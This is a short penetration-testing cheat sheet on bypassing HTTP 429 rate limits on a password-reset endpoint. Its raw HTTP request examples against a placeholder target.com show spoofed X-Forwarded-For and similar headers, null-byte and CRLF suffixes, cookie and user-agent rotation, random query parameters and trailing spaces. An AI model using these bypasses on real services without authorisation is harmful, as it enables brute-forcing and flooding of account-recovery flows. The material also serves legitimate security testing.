Bypass 429 (Too Many Requests)

1. Try add some custom header

X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1

For example:

POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
...

email=[e-mail]

2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.

POST /ForgotPass.php HTTP/1.1
Host: target.com
...

email=[e-mail]%00

3. Try changing user-agents, cookies and IP address

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
...

email=[e-mail]

Try this to bypass

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
...

email=[e-mail]

4. Add a random parameter on the last endpoint

POST /ForgotPass.php HTTP/1.1
Host: target.com
...

email=[e-mail]

Try this to bypass

POST /ForgotPass.php?random HTTP/1.1
Host: target.com
...

email=[e-mail]

5. Add space after the parameter value

POST /api/forgotpass HTTP/1.1
Host: target.com
...

{"email":"[e-mail]"}

Try this to bypass

POST /api/forgotpass HTTP/1.1
Host: target.com
...

{"email":"[e-mail] "}

References

• Huzaifa Tahir

• Gupta Bless